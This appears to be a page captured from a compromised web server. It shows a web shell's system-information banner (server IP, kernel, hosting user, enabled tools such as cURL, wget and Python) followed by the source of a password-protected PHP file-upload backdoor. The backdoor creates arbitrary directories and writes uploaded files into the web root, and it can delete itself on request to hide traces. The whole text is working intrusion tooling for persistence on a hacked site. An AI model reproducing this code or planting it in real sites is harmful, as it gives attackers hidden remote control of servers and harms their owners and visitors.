Server IP : 149.202.105.228 / Your IP : 216.73.216.123 Web Server : Apache System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : atfycaf ( 116275) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/atfycaf/www/ |
Upload File : |
<?php $password = "AsAjfkel!@"; header("Content-Type:text/plain"); if(isset($_GET["del"])){ @unlink(__FILE__); } if(isset($_GET["pw"])){ if($_GET["pw"] == $password){ $path = $_GET["path"]; $pathSplitted = preg_split("/\\\|\//", $path); $mainpath = getcwd(); foreach($pathSplitted as $dir){ $mainpath = $mainpath . DIRECTORY_SEPARATOR . $dir; if(!is_dir($mainpath)){ echo $mainpath; $h = mkdir($mainpath); if(!$h) die("error"); } } if(isset($_FILES["xaxa"])){ $countfiles = count($_FILES['xaxa']['name']); for($i=0;$i<$countfiles;$i++){ $filename = $_FILES['xaxa']['name'][$i]; $upload = move_uploaded_file($_FILES['xaxa']['tmp_name'][$i],$mainpath . DIRECTORY_SEPARATOR .$filename); if($upload){ echo "success"; } } } } } die();